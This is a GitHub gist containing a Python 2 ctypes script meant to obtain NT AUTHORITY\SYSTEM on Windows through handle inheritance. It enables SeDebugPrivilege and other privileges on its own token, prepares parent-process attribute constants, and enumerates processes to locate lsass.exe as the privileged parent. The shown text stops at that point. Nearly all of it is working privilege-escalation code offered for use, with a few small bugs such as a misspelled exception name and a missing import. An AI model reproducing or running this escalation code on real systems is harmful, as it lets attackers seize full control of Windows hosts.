Skip to content

Instantly share code, notes, and snippets.

@makelariss
Last active January 13, 2023 09:41
Show Gist options
  • Save makelariss/acc7b1b4589e51905a93db46ac5f81b2 to your computer and use it in GitHub Desktop.
Save makelariss/acc7b1b4589e51905a93db46ac5f81b2 to your computer and use it in GitHub Desktop.
NT AUTHORITY\SYSTEM through Handle Inheritance using Python
# -*- coding: UTF-8 -*-
import enum, os, sys
# https://twitter.com/highsenburger69
from ctypes.wintypes import *
from ctypes import *
# These libraries have the APIs we need
kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
shell32 = WinDLL('shell32', use_last_error=True)
psapi = WinDLL('psapi.dll', use_last_error=True)
# Define structures
# https://docs.python.org/2/library/ctypes.html#structures-and-unions
# An LUID is a 64-bit value guaranteed to be unique only on the system on which it was generated
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379261(v=vs.85).aspx
class LUID(Structure): # typedef struct _LUID
_fields_ = [ # {
('LowPart', DWORD), # DWORD LowPart;
('HighPart', LONG) # LONG HighPart;
] # }
# The LUID_AND_ATTRIBUTES structure represents a locally unique identifier (LUID) and its attributes.
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379263(v=vs.85).aspx
class LUID_AND_ATTRIBUTES(Structure): # typedef struct _LUID_AND_ATTRIBUTES
_fields_ = [ # {
('Luid', LUID), # LUID Luid;
('Attributes',DWORD) # DWORD Attributes;
] # }
PSID = c_void_p
# The SID_AND_ATTRIBUTES structure represents a security identifier (SID) and its attributes. SIDs are used to uniquely identify users or groups
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379595(v=vs.85).aspx
class SID_AND_ATTRIBUTES(Structure): # typedef struct _SID_AND_ATTRIBUTES
_fields_ = [ # {
('Sid', PSID), # PSID Sid;
('Attributes', DWORD) # DWORD Attributes;
] # }
# The TOKEN_PRIVILEGES structure contains information about a set of privileges for an access token.
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx
class TOKEN_PRIVILEGES(Structure): # typedef struct _TOKEN_PRIVILEGES
_fields_ = [ # {
('PrivilegeCount', DWORD), # DWORD PrivilegeCount;
('Privileges', LUID_AND_ATTRIBUTES * 512) # LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
] # }
# https://docs.python.org/3/library/ctypes.html#specifying-the-required-argument-types-function-prototypes
class c_enum(enum.IntEnum): # A ctypes-compatible IntEnum superclass that implements the class method
@classmethod # https://docs.python.org/3/library/functions.html#classmethod
def from_param(cls, obj): # Define the class method `from_param`.
return c_int(cls(obj)) # The obj argument to the from_param method is the object instance, in this case the enumerated value itself. Any Enum with an integer value can be directly cast to int. TokenElevation -> TOKEN_INFORMATION_CLASS.TokenElevation
# The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379626(v=vs.85).aspx
class TOKEN_INFORMATION_CLASS(c_enum): # typedef enum _TOKEN_INFORMATION_CLASS {
#spoilers TokenUser = 1 # TokenUser The buffer receives a TOKEN_USER structure that contains the user account of the token
#spoilers TokenGroups = 2 # TokenGroups The buffer receives a TOKEN_GROUPS structure that contains the group accounts associated with the token
#spoilers TokenPrivileges = 3 # TokenPrivileges The buffer receives a TOKEN_PRIVILEGES structure that contains the privileges of the token
TokenElevation = 20 # TokenElevationType The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token.
# DWORD_PTR = POINTER(DWORD)
SIZE_T = c_size_t
PVOID = c_void_p
# This structure stores the value for each attribute
# http://www.rohitab.com/discuss/topic/38601-proc-thread-attribute-list-structure-documentation/
class PROC_THREAD_ATTRIBUTE_ENTRY(Structure): # typedef struct _PROC_THREAD_ATTRIBUTE_ENTRY
_fields_ = [ # {
("Attribute", DWORD), # DWORD_PTR Attribute; // PROC_THREAD_ATTRIBUTE_xxx # https://msdn.microsoft.com/en-us/library/windows/desktop/ms686880(v=vs.85).aspx
("cbSize", SIZE_T), # SIZE_T cbSize;
("lpValue", PVOID) # PVOID lpValue
] # }
PULONG = POINTER(ULONG)
# This structure contains a list of attributes that have been added using UpdateProcThreadAttribute
# http://www.rohitab.com/discuss/topic/38601-proc-thread-attribute-list-structure-documentation/
class PROC_THREAD_ATTRIBUTE_LIST(Structure): # typedef struct _PROC_THREAD_ATTRIBUTE_LIST
_fields_ = [ # {
("dwFlags", DWORD), # DWORD dwFlags;
("Size", ULONG), # ULONG Size;
("Count", ULONG), # ULONG Count;
("Reserved",ULONG), # ULONG Reserved;
("Unknown", PULONG), # PULONG Unkown;
("Entries", PROC_THREAD_ATTRIBUTE_ENTRY * 1) # PROC_THREAD_ATTRIBUTE_LIST Entries[ANYSIZE_ARRAY]
] # }
LPVOID = PVOID
LPTSTR = c_void_p
LPBYTE = c_char_p
# Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time.
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
class STARTUPINFO(Structure): # typedef struct _STARTUPINFO
_fields_ = [ # {
('cb', DWORD), # DWORD cb;
('lpReserved', LPTSTR), # LPTSTR lpReserved;
('lpDesktop', LPTSTR), # LPTSTR lpDesktop;
('lpTitle', LPTSTR), # LPTSTR lpTitle;
('dwX', DWORD), # DWORD dwX;
('dwY', DWORD), # DWORD dwY;
('dwXSize', DWORD), # DWORD dwXSize;
('dwYSize', DWORD), # DWORD dwYSize;
('dwXCountChars', DWORD), # DWORD dwXCountChars;
('dwYCountChars', DWORD), # DWORD dwYCountChars;
('dwFillAttribute', DWORD), # DWORD dwFillAttribute;
('dwFlags', DWORD), # DWORD dwFlags;
('wShowWindow', WORD), # WORD wShowWindow;
('cbReserved2', WORD), # WORD cbReserved2;
('lpReserved2', LPBYTE), # LPBYTE lpReserved2;
('hStdInput', HANDLE), # HANDLE hStdInput;
('hStdOutput', HANDLE), # HANDLE hStdOutput;
('hStdError', HANDLE) # HANDLE hStdError;
] # }
PPROC_THREAD_ATTRIBUTE_LIST = POINTER(PROC_THREAD_ATTRIBUTE_LIST)
# Specifies the window station, desktop, standard handles, and attributes for a new process. It is used with the CreateProcess and CreateProcessAsUser functionsself.
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms686329(v=vs.85).aspx
class STARTUPINFOEX(Structure): # typedef struct _STARTUPINFOEX
_fields_ = [ # {
('StartupInfo', STARTUPINFO), # STARTUPINFO StartupInfo;
('lpAttributeList', LPVOID), # PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; # lpStartupInfo = STARTUPINFOEX(); lpStartupInfo.lpAttributeList = addressof(AttributeList)
] # }
# Contains information about a newly created process and its primary thread. It is used with the CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, or CreateProcessWithTokenW function.
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx
class PROCESS_INFORMATION(Structure): # typedef struct _PROCESS_INFORMATION
_fields_ = [ # {
("hProcess", HANDLE), # HANDLE hProcess;
("hThread", HANDLE), # HANDLE hThread;
("dwProcessId", DWORD), # DWORD dwProcessId;
("dwThreadId", DWORD) # DWORD dwThreadId;
] # }
# Privilege constants # https://msdn.microsoft.com/en-us/library/windows/desktop/bb530716(v=vs.85).aspx
SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" # Replace a process-level token
SE_AUDIT_NAME = "SeAuditPrivilege" # Generate security audits
SE_BACKUP_NAME = "SeBackupPrivilege" # Back up files and directories
SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" # Bypass traverse checking
SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" # Create global objects
SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" # Create a pagefile
SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" # Create permanent shared objects
SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" # Create symbolic links
SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" # Create a token object
SE_DEBUG_NAME = "SeDebugPrivilege" # Debug programs | * Malwares <3 this one *
SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" # Enable computer and user accounts to be trusted for delegation
SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" # Impersonate a client after authentication
SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" # Increase scheduling priority
SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" # Adjust memory quotas for a process
SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" # Increase a process working set
SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" # Load and unload device drivers | DKOM, rootkits, EPROCESS for process hiding
SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" # Lock pages in memory
SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" # Add workstations to domain
SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" # Manage the files on a volume
SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" # Profile single process
SE_RELABEL_NAME = "SeRelabelPrivilege" # Modify an object label
SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege" # Force shutdown from a remote system
SE_RESTORE_NAME = "SeRestorePrivilege" # Restore files and directories
SE_SECURITY_NAME = "SeSecurityPrivilege" # Manage auditing and security log
SE_SHUTDOWN_NAME = "SeShutdownPrivilege" # Shut down the system
SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege" # Synchronize directory service data
SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege" # Modify firmware environment values
SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege" # Profile system performance
SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege" # Change the system time
SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege" # Take ownership of files or other objects
SE_TCB_NAME = "SeTcbPrivilege" # Act as part of the operating system
SE_TIME_ZONE_NAME = "SeTimeZonePrivilege" # Change the time zone
SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege" # Access Credential Manager as a trusted caller
SE_UNDOCK_NAME = "SeUndockPrivilege" # Remove computer from docking station
SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege" # "Required to read unsolicited input from a terminal device"
# A pointer to a TOKEN_PRIVILEGES structure that specifies an array of privileges and their attributes.
# NewState [in, optional] # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375202(v=vs.85).aspx
SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001
SE_PRIVILEGE_ENABLED = 0x00000002 # The function enables the privilege
SE_PRIVILEGE_REMOVED = 0x00000004 # The privilege is removed from the list of privileges in the token. The other privileges in the list are reordered to remain contiguous.
SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
# Standard access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa379607(v=vs.85).aspx
SYNCHRONIZE = 0x00100000L # The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
# Token access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa374905(v=vs.85).aspx
TOKEN_ADJUST_PRIVILEGES = 0x00000020 # Required to enable or disable the privileges in an access token
TOKEN_QUERY = 0x00000008 # Required to query an access token
# Process access rights for OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx
PROCESS_CREATE_PROCESS = 0x0080 # Required to create a process.
PROCESS_CREATE_THREAD = 0x0002 # Required to create a thread.
PROCESS_DUP_HANDLE = 0x0040 # Required to duplicate a handle using DuplicateHandle.
PROCESS_QUERY_INFORMATION = 0x0400 # Required to retrieve certain information about a process, such as its token, exit code, and priority class = see OpenProcessToken #.
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 # Required to retrieve certain information about a process = see GetExitCodeProcess, GetPriorityClass, IsProcessInJob, QueryFullProcessImageName #. A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP: This access right is not supported.
PROCESS_SET_INFORMATION = 0x0200 # Required to set certain information about a process, such as its priority class = see SetPriorityClass #.
PROCESS_SET_QUOTA = 0x0100 # Required to set memory limits using SetProcessWorkingSetSize.
PROCESS_SUSPEND_RESUME = 0x0800 # Required to suspend or resume a process.
PROCESS_TERMINATE = 0x0001 # Required to terminate a process using TerminateProcess.
PROCESS_VM_OPERATION = 0x0008 # Required to perform an operation on the address space of a process = see VirtualProtectEx and WriteProcessMemory #.
PROCESS_VM_READ = 0x0010 # Required to read memory in a process using ReadProcessMemory.
PROCESS_VM_WRITE = 0x0020 # Required to write to memory in a process using WriteProcessMemory.
PROCESS_ALL_ACCESS = (PROCESS_CREATE_PROCESS
| PROCESS_CREATE_THREAD
| PROCESS_DUP_HANDLE
| PROCESS_QUERY_INFORMATION
| PROCESS_QUERY_LIMITED_INFORMATION
| PROCESS_SET_INFORMATION
| PROCESS_SET_QUOTA
| PROCESS_SUSPEND_RESUME
| PROCESS_TERMINATE
| PROCESS_VM_OPERATION
| PROCESS_VM_READ
| PROCESS_VM_WRITE
| SYNCHRONIZE)
# Process creation flags | https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863(v=vs.85).aspx
CREATE_NEW_CONSOLE = 0x00000010 # The new process has a new console, instead of inheriting its parent's console (the default).
EXTENDED_STARTUPINFO_PRESENT = 0x00080000 # The process is created with extended startup information; the lpStartupInfo parameter specifies a STARTUPINFOEX structure.
# UpdateProcThreadAttribute attributes | Specify privileged parent process
ProcThreadAttributeParentProcess = 0
PROC_THREAD_ATTRIBUTE_INPUT = 0x00020000 # Attribute is input only
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS= ProcThreadAttributeParentProcess | PROC_THREAD_ATTRIBUTE_INPUT # Handle of the Parent Process
# Win32 API function definitions
# https://msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx
#Retrieves the calling thread's last-error code value. The last-error code is maintained on a per-thread basis. Multiple threads do not overwrite each other's last-error code.
GetLastError = windll.kernel32.GetLastError # https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx
GetLastError.restype = DWORD # DWORD WINAPI GetLastError(void);
# Retrieves a pseudo handle for the current process
GetCurrentProcess = kernel32.GetCurrentProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683179(v=vs.85).aspx
GetCurrentProcess.restype = HANDLE # HANDLE WINAPI GetCurrentProcess(void);
# The OpenProcessToken function opens the access token associated with a process
OpenProcessToken = advapi32.OpenProcessToken # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379295(v=vs.85).aspx
OpenProcessToken.restype = BOOL # BOOL WINAPI OpenProcessToken(
OpenProcessToken.argtypes = [ # (
HANDLE, # HANDLE ProcessHandle,
DWORD, # DWORD DesiredAccess,
POINTER(HANDLE) # PHANDLE TokenHandle
] # );
PDWORD = POINTER(DWORD)
# The GetTokenInformation function retrieves a specified type of information about an access token
GetTokenInformation = advapi32.GetTokenInformation # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx
GetTokenInformation.restype = BOOL # BOOL WINAPI GetTokenInformation
GetTokenInformation.argtypes = [ # (
HANDLE, # HANDLE TokenHandle,
c_int, # TOKEN_INFORMATION_CLASS TokenInformationClass, (TOKEN_INFORMATION_CLASS.enum (eg: TokenElevation) -> cast to int (0x14))
LPVOID, # LPVOID TokenInformation,
DWORD, # DWORD TokenInformationLength,
PDWORD # PDWORD ReturnLength
] # )
# Opens an existing local process object
OpenProcess = kernel32.OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx
OpenProcess.restype = HANDLE # HANDLE WINAPI OpenProcess
OpenProcess.argtypes = [ # (
DWORD, # DWORD dwDesiredAccess,
BOOL, # BOOL bInheritHandle,
DWORD # DWORD dwProcessId
] # )
# Retrieves the process identifier of the calling process
GetCurrentProcessId = kernel32.GetCurrentProcessId # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683180(v=vs.85).aspx
GetCurrentProcessId.restype = DWORD # DWORD WINAPI GetCurrentProcessId(void);
# Retrieves the base name of the specified module
GetModuleBaseNameA = psapi.GetModuleBaseNameA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683196(v=vs.85).aspx
GetModuleBaseNameA.restype = DWORD # DWORD WINAPI GetModuleBaseName
GetModuleBaseNameA.argtypes = [ # (
HANDLE, # HANDLE hProcess,
HMODULE, # HMODULE hModule,
LPTSTR, # LPTSTR lpBaseName,
DWORD # DWORD nSize
] # )
# The LookupPrivilegeValue function retrieves the locally unique identifier (LUID) used on a specified system to locally represent the specified privilege name
LookupPrivilegeValue = advapi32.LookupPrivilegeValueW # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379180(v=vs.85).aspx Unicode version
LookupPrivilegeValue.restype = BOOL # BOOL WINAPI LookupPrivilegeValue
LookupPrivilegeValue.argtypes = [ # (
LPWSTR, # LPCTSTR lpSystemName, # LPWSTR -> https://msdn.microsoft.com/en-us/library/cc230355.aspx
LPWSTR, # LPCTSTR lpName, # LPWSTR -> https://msdn.microsoft.com/en-us/library/cc230355.aspx
POINTER(LUID) # PLUID lpLuid
] # );
PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
# The AdjustTokenPrivileges function enables or disables privileges in the specified access token
# Enabling or disabling privileges in an access token requires TOKEN_ADJUST_PRIVILEGES access -> PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375202(v=vs.85).aspx
AdjustTokenPrivileges.restype = BOOL # BOOL WINAPI AdjustTokenPrivileges
AdjustTokenPrivileges.argtypes = [ # {
HANDLE, #
BOOL, # BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES, # PTOKEN_PRIVILEGES NewState, # SE_PRIVILEGE_ENABLED = 0x00000002
DWORD, # DWORD BufferLength,
PTOKEN_PRIVILEGES, # PTOKEN_PRIVILEGES PreviousState,
POINTER(DWORD) # PDWORD ReturnLength
] # }
# Retrieves the process identifier for each process object in the system.
EnumProcesses = psapi.EnumProcesses # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682629(v=vs.85).aspx
EnumProcesses.restype = BOOL # BOOL WINAPI EnumProcesses
EnumProcesses.argtypes = [ # (
PDWORD, # DWORD *pProcessIds,
DWORD, # DWORD cb,
PDWORD # DWORD *pBytesReturned
] # )
LPTSTR = c_char_p
# Retrieves the name of the executable file for the specified process.
GetProcessImageFileName = psapi.GetProcessImageFileNameA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
GetProcessImageFileName.restype = DWORD # DWORD WINAPI GetProcessImageFileName
GetProcessImageFileName.argtypes = [ # (
HANDLE, # HANDLE hProcess,
LPTSTR, # LPTSTR lpImageFileName,
DWORD # DWORD nSize
] # )
LPPROC_THREAD_ATTRIBUTE_LIST = PPROC_THREAD_ATTRIBUTE_LIST
PSIZE_T = POINTER(SIZE_T)
# Initializes the specified list of attributes for process and thread creation.
InitializeProcThreadAttributeList = kernel32.InitializeProcThreadAttributeList # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683481(v=vs.85).aspx
InitializeProcThreadAttributeList.restype = BOOL # BOOL WINAPI InitializeProcThreadAttributeList
InitializeProcThreadAttributeList.argtypes = [ # (
LPPROC_THREAD_ATTRIBUTE_LIST, # LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD, # DWORD dwAttributeCount,
DWORD, # DWORD dwFlags,
PSIZE_T # PSIZE_T lpSize
] # )
# Updates the specified attribute in a list of attributes for process and thread creation.
UpdateProcThreadAttribute = kernel32.UpdateProcThreadAttribute # https://msdn.microsoft.com/en-us/library/windows/deLPSECURITY_ATTRIBUTES lpProcessAttributes,sktop/ms686880(v=vs.85).aspx
UpdateProcThreadAttribute.restype = BOOL # BOOL WINAPI UpdateProcThreadAttribute
UpdateProcThreadAttribute.argtypes = [ # (
LPPROC_THREAD_ATTRIBUTE_LIST, # LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD, # DWORD dwFlags,
DWORD, # DWORD_PTR Attribute,
PVOID, # PVOID lpValue,
SIZE_T, # SIZE_T cbSize,
PVOID, # PVOID lpPreviousValue,
PSIZE_T # PSIZE_T lpReturnSize
] # )
LPSECURITY_ATTRIBUTES = LPVOID
# Creates a new process and its primary thread. The new process runs in the security context of the calling process.
CreateProcess = kernel32.CreateProcessW # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx
CreateProcess.restype = BOOL # BOOL WINAPI CreateProcess
CreateProcess.argtypes = [ # (
LPCWSTR, # LPCTSTR lpApplicationName,
LPWSTR, # LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL, # BOOL bInheritHandles,
DWORD, # DWORD dwCreationFlags,
LPVOID, # LPVOID lpEnvironment,
LPCWSTR, # LPCTSTR lpCurrentDirectory,
POINTER(STARTUPINFOEX), # LPSTARTUPINFO lpStartupInfo,
POINTER(PROCESS_INFORMATION) # LPPROCESS_INFORMATION lpProcessInformation
] # )
# Deletes the specified list of attributes for process and thread creation.
DeleteProcThreadAttributeList = kernel32.DeleteProcThreadAttributeList # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682559(v=vs.85).aspx
DeleteProcThreadAttributeList.restype = None # VOID WINAPI DeleteProcThreadAttributeList
DeleteProcThreadAttributeList.argtypes = [ # (
LPPROC_THREAD_ATTRIBUTE_LIST # LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList
] # )
# Closes an open object handle.
CloseHandle = kernel32.CloseHandle # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx
CloseHandle.restype = BOOL # BOOL WINAPI CloseHandle
CloseHandle.argtypes = [ # (
HANDLE # HANDLE hObject
] # )
def areAdminRightsEnabled():
currentToken = HANDLE()
OpenProcessToken(
GetCurrentProcess(), # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission.
TOKEN_QUERY, # _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied.
byref(currentToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns.
try:
TokenInformation = DWORD()
ReturnLength = DWORD()
cracknak69 = GetTokenInformation(
currentToken, # _In_ TokenHandle A handle to an access token from which information is retrieved. If TokenInformationClass specifies TokenSource, the handle must have TOKEN_QUERY_SOURCE access. For all other TokenInformationClass values, the handle must have TOKEN_QUERY access.
TOKEN_INFORMATION_CLASS.TokenElevation,# _In_ TokenInformationClass Specifies a value from the TOKEN_INFORMATION_CLASS enumerated type to identify the type of information the function retrieves.
byref(TokenInformation), # _Out_opt_ TokenInformation A pointer to a buffer the function fills with the requested information. The structure put into this buffer depends upon the type of information specified by the TokenInformationClass parameter.
sizeof(TokenInformation), # _In_ TokenInformationLength Specifies the size, in bytes, of the buffer pointed to by the TokenInformation parameter. If TokenInformation is NULL, this parameter must be zero.
byref(ReturnLength)) # _Out_ ReturnLength A pointer to a variable that receives the number of bytes needed for the buffer pointed to by the TokenInformation parameter.
if TokenInformation:
currenthandle = OpenProcess(
PROCESS_ALL_ACCESS, # _In_ dwDesiredAccess The access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.
False, # _In_ bInheritHandle If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.
GetCurrentProcessId()) # _In_ dwProcessId The identifier of the local process to be opened.
BaseName = (c_char * MAX_PATH)()
GetModuleBaseNameA(
currenthandle, # _In_ hProcess,
None, # _In_opt_ hModule,
byref(BaseName), # _Out_ lpBaseName,
sizeof(BaseName)) # _In_ nSize
print "\t[+] Process", BaseName.value,"has elevated privileges.. continuing"
return bool(TokenInformation) # NULL pointers have a False boolean value
finally:
CloseHandle(currentToken) # _In_ hObject A valid handle to an open object.
def grantprivilege(privilege):
INVALID_HANDLE_VALUE = c_void_p(-1).value
hToken = HANDLE(INVALID_HANDLE_VALUE)
print "\t[*] Grabbing and modifying Current Process token"
knackcrack = OpenProcessToken(
GetCurrentProcess(), # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission.
(TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY),# _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied.
byref(hToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns.
if knackcrack == 0:
raise RuntimeError("Couldn't get process token. Error in OpenProcessToken: %s" %GetLastError())
print "\t[*] Locate LUID for specified privilege", privilege
luid = LUID()
knackrack1 = LookupPrivilegeValue(
None, # _In_opt_ lpSystemName A pointer to a null-terminated string that specifies the name of the system on which the privilege name is retrieved. If a null string is specified, the function attempts to find the privilege name on the local system.
privilege, # _In_ lpName A pointer to a null-terminated string that specifies the name of the privilege, as defined in the Winnt.h header file. For example, this parameter could specify the constant, SE_SECURITY_NAME, or its corresponding string, "SeSecurityPrivilege".
byref(luid)) # _Out_ lpLuid A pointer to a variable that receives the LUID by which the privilege is known on the system specified by the lpSystemName parameter.
if knackrack1 == 0:
raise RuntimeError("Couldn't lookup privilege value. Error in LookupPrivilegeValue: %s" %GetLastError())
print "\t[*] Modifying token structure to enable", privilege
tp = TOKEN_PRIVILEGES() # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
knackcrack666 = AdjustTokenPrivileges(
hToken, # _In_ TokenHandle A handle to the access token that contains the privileges to be modified. The handle must have TOKEN_ADJUST_PRIVILEGES access to the token. If the PreviousState parameter is not NULL, the handle must also have TOKEN_QUERY access.
False, # _In_ DisableAllPrivileges Specifies whether the function disables all of the token's privileges. If this value is TRUE, the function disables all privileges and ignores the NewState parameter. If it is FALSE, the function modifies privileges based on the information pointed to by the NewState parameter.
byref(tp), # _In_opt_ NewState A pointer to a TOKEN_PRIVILEGES structure that specifies an array of privileges and their attributes. If the DisableAllPrivileges parameter is FALSE, the AdjustTokenPrivileges function enables, disables, or removes these privileges for the token. If DisableAllPrivileges is TRUE, the function ignores this parameter.
sizeof(tp), # _In_ BufferLength Specifies the size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be zero if the PreviousState parameter is NULL.
None, # _Out_opt_ PreviousState A pointer to a buffer that the function fills with a TOKEN_PRIVILEGES structure that contains the previous state of any privileges that the function modifies. That is, if a privilege has been modified by this function, the privilege and its previous state are contained in the TOKEN_PRIVILEGES structure referenced by PreviousState. If the PrivilegeCount member of TOKEN_PRIVILEGES is zero, then no privileges have been changed by this function. This parameter can be NULL.
None) # _Out_opt_ ReturnLength A pointer to a variable that receives the required size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be NULL if PreviousState is NULL.
if knackcrack666 == 0:
raise RunTimeError("Couldn't enabled or disable the privilege. Error in AdjustTokenPrivileges: %s" %GetLastError())
print "\t[*] Adjusted privileges for the Current Process, enjoy <3, PID:", GetCurrentProcessId()
CloseHandle(hToken) # _In_ hObject A valid handle to an open object.
def get_script_dir(follow_symlinks=True):
if getattr(sys, 'frozen', False):
path = os.path.abspath(sys.executable)
filename = os.path.basename(__file__)
slash = "\\"
else:
path = inspect.getabsfile(get_script_dir)
filename = os.path.basename(__file__)
slash = "\\"
return os.path.dirname(path)+slash+filename
def ntshell():
while True:
DWORD_array = (DWORD * 0xFFFF)
ProcessIds = DWORD_array()
ProcessIdsSize = sizeof(ProcessIds)
BytesReturned = DWORD() # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682623(v=vs.85).aspx
if EnumProcesses(
ProcessIds, # _Out_ pProcessIds A pointer to an array that receives the list of process identifiers.
ProcessIdsSize, # _In_ cb The size of the pProcessIds array, in bytes.
BytesReturned): # _Out_ pBytesReturned The number of bytes returned in the pProcessIds array.
if BytesReturned.value < ProcessIdsSize:
break
RunningProcesses = BytesReturned.value / sizeof(DWORD)
for process in range(RunningProcesses):
ProcessId = ProcessIds[process]
hProcess = OpenProcess(
PROCESS_QUERY_LIMITED_INFORMATION, # _In_ dwDesiredAccess The access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.
False, # _In_ bInheritHandle If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.
ProcessId) # _In_ dwProcessId The identifier of the local process to be opened.
if hProcess:
ImageFileName = (c_char * MAX_PATH)()
if GetProcessImageFileName(
hProcess, # _In_ hProcess A handle to the process. The handle must have the PROCESS_QUERY_INFORMATION or PROCESS_QUERY_LIMITED_INFORMATION access right
ImageFileName, # _Out_ lpImageFileName A pointer to a buffer that receives the full path to the executable file.
MAX_PATH) > 0: # _In_ nSize The size of the lpImageFileName buffer, in characters.
filename = os.path.basename(ImageFileName.value)
systemprocess = "lsass.exe" #(Can't be killed like my desire for pizza)
if filename == systemprocess:
pid = ProcessId
